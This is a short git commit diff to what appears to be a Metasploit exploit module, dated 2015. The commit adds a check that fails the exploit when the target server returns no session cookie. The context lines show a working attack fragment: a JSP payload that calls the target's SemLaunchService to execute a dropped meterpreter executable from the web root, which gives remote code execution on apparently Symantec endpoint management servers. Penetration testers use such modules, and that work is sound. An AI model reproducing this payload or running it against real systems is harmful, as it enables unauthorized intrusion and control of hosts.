check if cookie is actually returned, and if not, fail

bug/bundler_fix
Brandon Perry 2015-08-02 15:22:40 -05:00
parent a534008ba6
commit 830aee8aa5
1 changed files with 4 additions and 0 deletions

View File

@ -79,6 +79,10 @@ class Metasploit3 < Msf::Exploit::Remote
cookie = res.get_cookies
if not cookie || cookie == ''
fail_with(Failure::Unknown, 'The server did not return a cookie to use in the later requests.')
end
exec = %Q{<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%>
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
}